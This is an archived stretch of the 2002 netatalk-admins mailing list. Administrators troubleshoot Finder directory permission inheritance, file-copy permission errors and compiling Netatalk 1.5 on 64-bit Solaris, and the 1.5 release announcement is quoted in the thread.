Received: from uis-2.unitedis.com (HELO plato.unitedis.com) (209.49.196.16)
  by uis-1.unitedis.com with SMTP; 2 Jan 2002 16:24:48 -0000
Received: (qmail 5160 invoked by alias); 2 Jan 2002 16:24:46 -0000
Delivered-To: uis-netatalk-admins@umich.edu@fixmeincoming
Received: (qmail 5134 invoked by uid 507); 2 Jan 2002 16:24:45 -0000
Received: from rzeman@his.com by plato.unitedis.com with qmail-scanner-0.94 (uvscan: v4.1.40/v4178. . Clean. Processed in 0.231819 secs); 02/01/2002 11:24:45
Received: from unknown (HELO rzeman-2k) (10.162.5.252)
  by plato.unitedis.com with SMTP; 2 Jan 2002 16:24:45 -0000
Mime-Version: 1.0
Date: Wed, 2 Jan 2002 11:24:00 -0400
References: <a05101001b858cde8eb8c@[192.168.1.201]>
X-Mailer: Groupwise 5.5.3.1
From: Rick Zeman<rzeman@his.com>
Subject: Re: directory sgid inheritance (was: security
	issue,nt1.5rc2+OSX...)
To: lopez.on.the.lists@yellowspace.net, netatalk-admins@umich.edu
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA15882

>
>Sorry if I'm insisting on this, but I'm fairly astonished that this doesn't seem to represent a problem for anybody else; on the other 
>hand, maybe I missed some new option in rc2 / release:
>
>how is it possible to make newly created directories via Finder on netatalk shares to inherit the sticky bit  on the group no matter how 
>'deep' they are in the share tree?
>
>(still having the behavior of: first directory created: inherits; subdirectories of new directory: don't...)
>
>this as  of 1.5rc2, but I browsed thru the last changes mails on netatalk-devel and couldn't find somebody telling that this was changed 
>from rc2 to release..

Apple has to change the OS X Finder.  That's what's causing the problem, not netatalk.

From netatalk.administrators-errors@umich.edu  Wed Jan  2 11:34:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA16343
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 Jan 2002 11:34:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA12765
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 Jan 2002 11:34:19 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA12751
	for netatalk.administrators-members@umich.edu; Wed, 2 Jan 2002 11:34:19 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA12710
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 11:34:17 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA23868;
	Wed, 2 Jan 2002 17:57:00 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 02 Jan 2002 17:34:02 +0100
Subject: Re: directory sgid inheritance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Rick Zeman <rzeman@his.com>, <lopez.on.the.lists@yellowspace.net>,
        <netatalk-admins@umich.edu>
Message-ID: <B858F50A.16B49%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200201021624.LAA29502@kingcreole.mr.itd.umich.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 2 Jan 2002 11:24:00 -0400, Rick Zeman wrote:

> Apple has to change the OS X Finder.  That's what's causing the problem, not
> netatalk.

I think, Lorenzo speaks of two different concepts: explicit and inherited
permissions (in AFP 2.x days, there didn't existed file permissions, so
every file will be treated like the enclosing folder. And how the folder's
permissions are set is depending on the permission scheme). A good starting
point might be this here: <http://www.tandb.com.au/appleshare/privileges/>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jan  2 14:08:52 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA23145
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 Jan 2002 14:08:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA04401
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 Jan 2002 14:08:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA04392
	for netatalk.administrators-members@umich.edu; Wed, 2 Jan 2002 14:08:51 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA04370
	for <netatalk-admins@umich.edu>; Wed, 2 Jan 2002 14:08:50 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id LAA02378;
	Wed, 2 Jan 2002 11:04:15 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <ZY391PGN>; Wed, 2 Jan 2002 11:04:03 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E3064503250A25@m4.ci.tacoma.wa.us>
To: xiapingL@qimr.edu.au
Cc: netatalk-admins@umich.edu
Subject: RE: Netatalk on 64-bit Solaris with GCC - was - Netatalk 1.5.0 Re
	leased!
Date: Wed, 2 Jan 2002 11:04:04 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I've got it working, but evidently my patches didn't make it into the 1.5
distribution.  If those of you are interested email me, I can give you the
patched files and detailed instructions.

Celeste Suliin Burris
Systems Administrator
Tacoma Economic Development Dept.
csburris@ci.tacoma.wa.us


> ----------
> From: 	Xiaping Lin
> Sent: 	Tuesday, January 1, 2002 4:30 PM
> To: 	netatalk-admins@umich.edu
> Subject: 	[Fwd: Netatalk 1.5.0 Released!]
> 
> 
> 
> Xiaping Lin wrote:
> 
> > Well done everyone!
> > But what about Solaris 8 64-bit platform? Has anyone compiled this
> release on
> > Solaris 8 64-bit machine with gcc ?
> > I have been waiting for this version and hope it to be free of following
> > problems that I have come across with version 1.4b2+asun2.1.4:
> >
> > 1) Can not use gcc compiler, have to SUN C compiler which I don't have;
> > 2) ddp drive problem, Server does not show up in Chooser.
> >     error message in /var/adm/messages whenever netatalk starts:
> >
> > Dec 19 16:05:27  atalkd[11412]: [ID 441591 user.info] plumbed /dev/ge0
> > Dec 19 16:05:27  atalkd[11413]: [ID 602610 daemon.info] restart
> > (1.4b2+asun2.1.4)
> > Dec 19 16:05:27  atalkd[11413]: [ID 430690 daemon.info] setsockopt
> incompatible
> > w/ Solaris STREAMS module.
> > Dec 19 16:05:29  atalkd[11413]: [ID 875075 daemon.info] zip_getnetinfo
> for ge0
> > Dec 19 16:05:57  atalkd[11413]: [ID 877925 daemon.info] config for no
> router
> > Dec 19 16:05:59  atalkd[11413]: [ID 430690 daemon.info] setsockopt
> incompatible
> > w/ Solaris STREAMS module.
> > Dec 19 16:05:59  atalkd[11413]: [ID 128247 daemon.info] ready 0/0/0
> >
> > Cheers!
> >
> > Xiaping Lin
> >
> > Sebastian Rittau wrote:
> >
> > >                      Netatalk 1.5 The New Year's Release
> > >                      ===================================
> > >
> > > The Netatalk development team is proud to announce the final 1.5
> release of
> > > the Netatalk File Sharing suite. Netatalk is a collection of server
> programs
> > > and utilities for handling various protocols employed by Apple
> Macintosh
> > > computers on Unix compatible systems. The suite contains
> > >
> > >  * afpd - a file server that implements the Apple Filing Protocol,
> allowing
> > >    clients running MacOS to access Unix file servers
> > >  * atalkd - an implementation of the AppleTalk protocol
> > >  * papd - a print server that enables Macintosh computers to access
> printers
> > >    connected to Unix servers
> > >  * timelord - a time server for synchronizing time over the network
> > >  * megatron - a tool to convert files in Macintosh specific formats
> like
> > >    BinHex, AppleSingle, or MacBinary into files, readable by Unix
> computers.
> > >  * various other utilities
> > >
> > > News in Netatalk 1.5
> > > ~~~~~~~~~~~~~~~~~~~~
> > >
> > > Since the early pre-release versions of Netatalk 1.5, Netatalk has
> been
> > > hosted and developed on SourceForge (http://sourceforge.net/). This
> offers
> > > a great variety of resources and tools to the project and helped to
> open
> > > up the development process.
> > >
> > > Starting with version 1.5pre7, Netatalk is now licensed under the GNU
> > > General Public License (GPL), which is used by many Open Source/Free
> > > Software projects as their license of choice. We chose this license to
> > > allow us to develop Netatalk as freely as possible and to ensure that
> > > Netatalk will stay free in the future.
> > >
> > > Netatalk now makes use of the GNU autotools (autoconf, automake, and
> > > libtool) for building. This increases the portability of Netatalk as
> well
> > > as the flexibility of the build system, and helps make the whole build
> > > process more transparent. Ports to new platforms and enhancement to
> the
> > > source code can now be handled much easier.
> > >
> > > Netatalk 1.5 features a new experimental DID tracking system, based on
> > > Berkeley DB3 files. The scheme, known as CNID-DB, is intended to end
> > > various problems concerning aliases and disappearing files encountered
> in
> > > earlier versions of Netatalk. This new DID scheme is scheduled to
> become the
> > > default DID in future Netatalk versions.
> > >
> > > Apart from these larger changes, a lot of work has gone into the
> Netatalk
> > > source code and build process and we feel that the quality of the code
> base
> > > has greatly improved since earlier releases.
> > >
> > > Future Enhancements
> > > ~~~~~~~~~~~~~~~~~~~
> > >
> > > Netatalk is an actively developed product and its functionality will
> be
> > > enhanced in future versions. Some of the upcoming features include:
> > >
> > >  * Further improvements in the build system for enhanced portability
> > >  * AFP 3.0 support, including long file names
> > >  * A new universal logging system
> > >  * Persistent DID support (stable alias support) by default
> > >  * Integrated Samba and NFS file locking
> > >  * Long file name handling ("mangling") for older AppleShare clients
> > >  * 100% QuarkXPress compatibility
> > >  * Server-side find capability ("FPCatSearch")
> > >  * Improved Documentation
> > >
> > > Supported Platforms
> > > ~~~~~~~~~~~~~~~~~~~
> > >
> > > As of Netatalk 1.5.0 the following operating systems are supported:
> > >
> > >  * FreeBSD
> > >  * Linux (Debian, Mandrake, RedHat, SuSE, others should work as well)
> > >  * OpenBSD
> > >  * Solaris (32bit flavors)
> > >  * Tru64
> > >
> > > Netatalk may compile and run on other operating systems as well, but
> > > it is not well-tested on those. We welcome patches and suggestions
> > > for enhancing the portability of Netatalk, though.
> > >
> > > Availability
> > > ~~~~~~~~~~~~
> > >
> > > Netatalk tar-balls can be found at
> http://me.in-berlin.de/~jroger/netatalk/.
> > > Binaries for Debian GNU/Linux will be added to the unstable
> distribution
> > > soon and will be available at every Debian non-US mirror. Binaries for
> > > other operating systems will be made available at the SourceForge site
> > > http://sourceforge.net/projects/netatalk/ as time permits.
> > >
> > > Netatalk is also available via anonymous CVS. See the SourceForge
> project
> > > site for anonymous CVS instructions. The main development is happening
> in
> > > the trunk. Well-tested patches are back-ported to branch-1-5-prep
> branch,
> > > from which the tar-balls are created.
> > >
> > > Contact
> > > ~~~~~~~
> > >
> > > For more information about Netatalk, see its web page at:
> > > http://netatalk.sourceforge.net/
> > >
> > > The project is hosted at SourceForge. The SourceForge project page is
> > > located at: http://sourceforge.net/projects/netatalk/
> > >
> > > The Netatalk development team can be reached via the mailing list
> > > netatalk-devel@lists.sourceforge.net. For subscription information and
> > > archives see Netatalk's SourceForge project page.
> > >
> > > netatalk-admins@umich.edu is a mailing list for Netatalk system
> > > administrators. For subscription information and archives see the
> > > Netatalk web page.
> > >
> > > Acknowledgements
> > > ~~~~~~~~~~~~~~~~
> > >
> > > We would like to thank all contributors to the Netatalk project for
> > > their commitment. Without the many suggestions, bug and problem
> reports,
> > > patches, and reviews this project wouldn't be where it is.
> > >
> > >  - The Netatalk Development Team, New Year's Eve 2001
> 
> --
> Xiaping Lin
> Information Technology
> Queensland Institute of Medical Research
> E-mail: xiapingL@qimr.edu.au
> Ph:    61-7-33620231
> fax:   61-7-33620111
> 
> 
> 

From netatalk.administrators-errors@umich.edu  Thu Jan  3 11:44:42 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA16137
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 3 Jan 2002 11:44:42 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA22111
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 3 Jan 2002 11:44:42 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA22106
	for netatalk.administrators-members@umich.edu; Thu, 3 Jan 2002 11:44:42 -0500 (EST)
Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA22096
	for <netatalk-admins@umich.edu>; Thu, 3 Jan 2002 11:44:41 -0500 (EST)
Received: from colonyuk.demon.co.uk ([158.152.173.186] helo=colony.com)
	by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1)
	id 16MAyh-000FhC-0A; Thu, 3 Jan 2002 16:44:33 +0000
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Thu, 3 Jan 2002 16:42:53 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v03102807b85a39f9c7ed@[172.20.192.150]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D7481@ksvcmail.ksvc.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 3 Jan 2002 16:42:58 +0000
To: "Brian Curtis" <Bcurtis@KSVC.com>, <netatalk-admins@umich.edu>
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: File Copy issues

Brian Curtis wrote:

>I am trying to copy large folders to my Red Hat linux box running
>Netatalk.  They are mostly graphic files with in folders and go many
>folders deep.  What happens is when I copy the folder, which may be a gig
>in size everything works until it gets to a file that it can not copy,
>such as a tif.  The problem usually happens with .tiff or .mpeg files and
>is quote annoying.  If I copy these files one at a time to a different
>folder then copy them into the folder that I originally tried everything
>works.
>
>Obviously with about 30Gigabites of data this scheme does not work very
>well.  The error message I receive always has to do with permissions even
>though the same user created the folder.
>
>Is there a way to remove permissions from the system and then reaply
>security aftwards?

I had something similar when I first started using netatalk - eventually I
tracked it down to not having rights to create a required directory at the
root level of the share (it was something like the desktop or network trash
- I can't remember the details now). I relaxed permissions on the root of
the share, let the required folders be created, then re-applied security
and everything seems OK now.

Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Thu Jan  3 16:54:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA29280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 3 Jan 2002 16:54:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA20403
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 3 Jan 2002 16:54:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA20379
	for netatalk.administrators-members@umich.edu; Thu, 3 Jan 2002 16:54:32 -0500 (EST)
Received: from IMGate.wtsonline.net (imgate.wtsonline.net [63.64.122.19])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA20334
	for <netatalk-admins@umich.edu>; Thu, 3 Jan 2002 16:54:31 -0500 (EST)
Received: from comanchetx.com (mail.comanchetx.com [63.64.122.61])
	by IMGate.wtsonline.net (Postfix Relay Hub) with ESMTP id 1B2095D33C
	for <netatalk-admins@umich.edu>; Thu,  3 Jan 2002 15:54:27 -0600 (CST)
Received: from mjv.com [65.201.66.45] by comanchetx.com with ESMTP
  (SMTPD32-6.06) id A2D2C3D100CA; Thu, 03 Jan 2002 15:53:22 -0600
Message-ID: <3C34D26E.7040701@mjv.com>
Date: Thu, 03 Jan 2002 15:51:42 -0600
From: Michael Vanecek <mike@mjv.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: File Copy
References: <v03102807b85a39f9c7ed@[172.20.192.150]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I've got a little nagging problem. File transfer, of course. I've 
noticed that the resource file in .AppleDouble for a particular file is 
created with zero permissions altogether, even though permissions are 
set correctly in the main folder. If I go into the .AppleDouble folder 
and set permissions on the particular filename that was giving me 
problems, the file transfer from Mac to Linux occurs without problem. 
Could there be a configuration that I've missed - or could I have 
inadvertantly configured it to be readonly?

Thanks,
Mike



-- 
http://dotfile.net/ - Dedicated to Open Source Software


From netatalk.administrators-errors@umich.edu  Thu Jan  3 18:24:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA03953
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 3 Jan 2002 18:24:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA25319
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 3 Jan 2002 18:24:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA25310
	for netatalk.administrators-members@umich.edu; Thu, 3 Jan 2002 18:24:46 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA25273
	for <netatalk-admins@umich.edu>; Thu, 3 Jan 2002 18:24:44 -0500 (EST)
Received: from tc01-n71-021.de.inter.net ([213.73.71.21] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 16MHE3-00049r-00
	for netatalk-admins@umich.edu; Fri, 04 Jan 2002 00:24:43 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id AAA18749
	for <netatalk-admins@umich.edu>; Fri, 4 Jan 2002 00:24:05 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: Just test
Date: Fri, 4 Jan 2002 00:21:22 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <02010400240500.17806@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA03953

Sorry for the inconvenience!

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Jan  3 22:49:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA11922
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 3 Jan 2002 22:49:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA10507
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 3 Jan 2002 22:49:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA10502
	for netatalk.administrators-members@umich.edu; Thu, 3 Jan 2002 22:49:58 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA10486
	for <netatalk-admins@umich.edu>; Thu, 3 Jan 2002 22:49:56 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id NAA13477;
	Fri, 4 Jan 2002 13:47:47 +1000 (EST)
Message-ID: <3C352701.BDCEEAAB@qimr.edu.au>
Date: Fri, 04 Jan 2002 13:52:33 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: CSBURRIS@ci.tacoma.wa.us
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk on 64-bit Solaris with GCC - was - Netatalk 1.5.0 Released!
References: <49A5DC0AF7A9D3119C7D00A0C9E3064503250A25@m4.ci.tacoma.wa.us>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,
My sincere gratitude to Celeste Suliin Burris, Joe Clarke and Steve Freitas for
the help on compiling
Netatalk1.5 on 64-bit Solaris machine. I have succefully compiled 64-bit gcc and
ddp and Netatalk1.5.
But to my horror, the same error messages shows up when I start the new atalkd
(v1.5):

Jan  3 21:18:48  atalkd[29352]: [ID 441591 user.info] plumbed /dev/ge0
Jan  3 21:18:48  atalkd[29353]: [ID 602610 daemon.info] restart (1.5.0)
Jan  3 21:18:48  atalkd[29353]: [ID 430690 daemon.info] setsockopt incompatible
w/ Solaris STREAMS module.
Jan  3 21:18:50  last message repeated 1 time
Jan  3 21:18:50  atalkd[29353]: [ID 875075 daemon.info] zip_getnetinfo for ge0
Jan  3 21:19:08  last message repeated 2 times
Jan  3 21:19:18  atalkd[29353]: [ID 877925 daemon.info] config for no router
Jan  3 21:19:20  atalkd[29353]: [ID 430690 daemon.info] setsockopt incompatible
w/ Solaris STREAMS module.
Jan  3 21:19:20  atalkd[29353]: [ID 128247 daemon.info] ready 0/0/0
Jan  3 21:19:32  papd[29364]: [ID 602610 lpr.info] restart (1.5.0)

I am afraid that the same problem(server not showing in Chooser) happens to the
new version, although
I have not yet confirm this, since I do not have access to a Mac at that time.
At present, my workaround
is to have a cron job running "nbplkup" on the SUN Netalalk server every minute
to force it stay up in all
mac's Chooser. From a mac, I can connect to the server by IP, but most Macs here
don't have that option
in Chooser.

I have seen some talk about the setsockopt patch, such as the e-mail below:

http://www.mtusysadm.mtu.edu/mtudocs/netatalk/netatalk-combo.html

But don't know if the patch has already been considered in the new version. Is
there any patch that I should apply?

My platform for Netatalk server is : Sun e420 Enterprise Solaris8

Any tips on how to fix above error?

Thanks everyone!

Xiaping

CSBURRIS@ci.tacoma.wa.us wrote:

> I've got it working, but evidently my patches didn't make it into the 1.5
> distribution.  If those of you are interested email me, I can give you the
> patched files and detailed instructions.
>
> Celeste Suliin Burris
> Systems Administrator
> Tacoma Economic Development Dept.
> csburris@ci.tacoma.wa.us
>
> > ----------
> > From:         Xiaping Lin
> > Sent:         Tuesday, January 1, 2002 4:30 PM
> > To:   netatalk-admins@umich.edu
> > Subject:      [Fwd: Netatalk 1.5.0 Released!]
> >
> >
> >
> > Xiaping Lin wrote:
> >
> > > Well done everyone!
> > > But what about Solaris 8 64-bit platform? Has anyone compiled this
> > release on
> > > Solaris 8 64-bit machine with gcc ?
> > > I have been waiting for this version and hope it to be free of following
> > > problems that I have come across with version 1.4b2+asun2.1.4:
> > >
> > > 1) Can not use gcc compiler, have to SUN C compiler which I don't have;
> > > 2) ddp drive problem, Server does not show up in Chooser.
> > >     error message in /var/adm/messages whenever netatalk starts:
> > >
> > > Dec 19 16:05:27  atalkd[11412]: [ID 441591 user.info] plumbed /dev/ge0
> > > Dec 19 16:05:27  atalkd[11413]: [ID 602610 daemon.info] restart
> > > (1.4b2+asun2.1.4)
> > > Dec 19 16:05:27  atalkd[11413]: [ID 430690 daemon.info] setsockopt
> > incompatible
> > > w/ Solaris STREAMS module.
> > > Dec 19 16:05:29  atalkd[11413]: [ID 875075 daemon.info] zip_getnetinfo
> > for ge0
> > > Dec 19 16:05:57  atalkd[11413]: [ID 877925 daemon.info] config for no
> > router
> > > Dec 19 16:05:59  atalkd[11413]: [ID 430690 daemon.info] setsockopt
> > incompatible
> > > w/ Solaris STREAMS module.
> > > Dec 19 16:05:59  atalkd[11413]: [ID 128247 daemon.info] ready 0/0/0
> > >
> > > Cheers!
> > >
> > > Xiaping Lin
> > >
> > > Sebastian Rittau wrote:
> > >
> > > >                      Netatalk 1.5 The New Year's Release
> > > >                      ===================================
> > > >
> > > > The Netatalk development team is proud to announce the final 1.5
> > release of
> > > > the Netatalk File Sharing suite. Netatalk is a collection of server
> > programs
> > > > and utilities for handling various protocols employed by Apple
> > Macintosh
> > > > computers on Unix compatible systems. The suite contains
> > > >
> > > >  * afpd - a file server that implements the Apple Filing Protocol,
> > allowing
> > > >    clients running MacOS to access Unix file servers
> > > >  * atalkd - an implementation of the AppleTalk protocol
> > > >  * papd - a print server that enables Macintosh computers to access
> > printers
> > > >    connected to Unix servers
> > > >  * timelord - a time server for synchronizing time over the network
> > > >  * megatron - a tool to convert files in Macintosh specific formats
> > like
> > > >    BinHex, AppleSingle, or MacBinary into files, readable by Unix
> > computers.
> > > >  * various other utilities
> > > >
> > > > News in Netatalk 1.5
> > > > ~~~~~~~~~~~~~~~~~~~~
> > > >
> > > > Since the early pre-release versions of Netatalk 1.5, Netatalk has
> > been
> > > > hosted and developed on SourceForge (http://sourceforge.net/). This
> > offers
> > > > a great variety of resources and tools to the project and helped to
> > open
> > > > up the development process.
> > > >
> > > > Starting with version 1.5pre7, Netatalk is now licensed under the GNU
> > > > General Public License (GPL), which is used by many Open Source/Free
> > > > Software projects as their license of choice. We chose this license to
> > > > allow us to develop Netatalk as freely as possible and to ensure that
> > > > Netatalk will stay free in the future.
> > > >
> > > > Netatalk now makes use of the GNU autotools (autoconf, automake, and
> > > > libtool) for building. This increases the portability of Netatalk as
> > well
> > > > as the flexibility of the build system, and helps make the whole build
> > > > process more transparent. Ports to new platforms and enhancement to
> > the
> > > > source code can now be handled much easier.
> > > >
> > > > Netatalk 1.5 features a new experimental DID tracking system, based on
> > > > Berkeley DB3 files. The scheme, known as CNID-DB, is intended to end
> > > > various problems concerning aliases and disappearing files encountered
> > in
> > > > earlier versions of Netatalk. This new DID scheme is scheduled to
> > become the
> > > > default DID in future Netatalk versions.
> > > >
> > > > Apart from these larger changes, a lot of work has gone into the
> > Netatalk
> > > > source code and build process and we feel that the quality of the code
> > base
> > > > has greatly improved since earlier releases.
> > > >
> > > > Future Enhancements
> > > > ~~~~~~~~~~~~~~~~~~~
> > > >
> > > > Netatalk is an actively developed product and its functionality will
> > be
> > > > enhanced in future versions. Some of the upcoming features include:
> > > >
> > > >  * Further improvements in the build system for enhanced portability
> > > >  * AFP 3.0 support, including long file names
> > > >  * A new universal logging system
> > > >  * Persistent DID support (stable alias support) by default
> > > >  * Integrated Samba and NFS file locking
> > > >  * Long file name handling ("mangling") for older AppleShare clients
> > > >  * 100% QuarkXPress compatibility
> > > >  * Server-side find capability ("FPCatSearch")
> > > >  * Improved Documentation
> > > >
> > > > Supported Platforms
> > > > ~~~~~~~~~~~~~~~~~~~
> > > >
> > > > As of Netatalk 1.5.0 the following operating systems are supported:
> > > >
> > > >  * FreeBSD
> > > >  * Linux (Debian, Mandrake, RedHat, SuSE, others should work as well)
> > > >  * OpenBSD
> > > >  * Solaris (32bit flavors)
> > > >  * Tru64
> > > >
> > > > Netatalk may compile and run on other operating systems as well, but
> > > > it is not well-tested on those. We welcome patches and suggestions
> > > > for enhancing the portability of Netatalk, though.
> > > >
> > > > Availability
> > > > ~~~~~~~~~~~~
> > > >
> > > > Netatalk tar-balls can be found at
> > http://me.in-berlin.de/~jroger/netatalk/.
> > > > Binaries for Debian GNU/Linux will be added to the unstable
> > distribution
> > > > soon and will be available at every Debian non-US mirror. Binaries for
> > > > other operating systems will be made available at the SourceForge site
> > > > http://sourceforge.net/projects/netatalk/ as time permits.
> > > >
> > > > Netatalk is also available via anonymous CVS. See the SourceForge
> > project
> > > > site for anonymous CVS instructions. The main development is happening
> > in
> > > > the trunk. Well-tested patches are back-ported to branch-1-5-prep
> > branch,
> > > > from which the tar-balls are created.
> > > >
> > > > Contact
> > > > ~~~~~~~
> > > >
> > > > For more information about Netatalk, see its web page at:
> > > > http://netatalk.sourceforge.net/
> > > >
> > > > The project is hosted at SourceForge. The SourceForge project page is
> > > > located at: http://sourceforge.net/projects/netatalk/
> > > >
> > > > The Netatalk development team can be reached via the mailing list
> > > > netatalk-devel@lists.sourceforge.net. For subscription information and
> > > > archives see Netatalk's SourceForge project page.
> > > >
> > > > netatalk-admins@umich.edu is a mailing list for Netatalk system
> > > > administrators. For subscription information and archives see the
> > > > Netatalk web page.
> > > >
> > > > Acknowledgements
> > > > ~~~~~~~~~~~~~~~~
> > > >
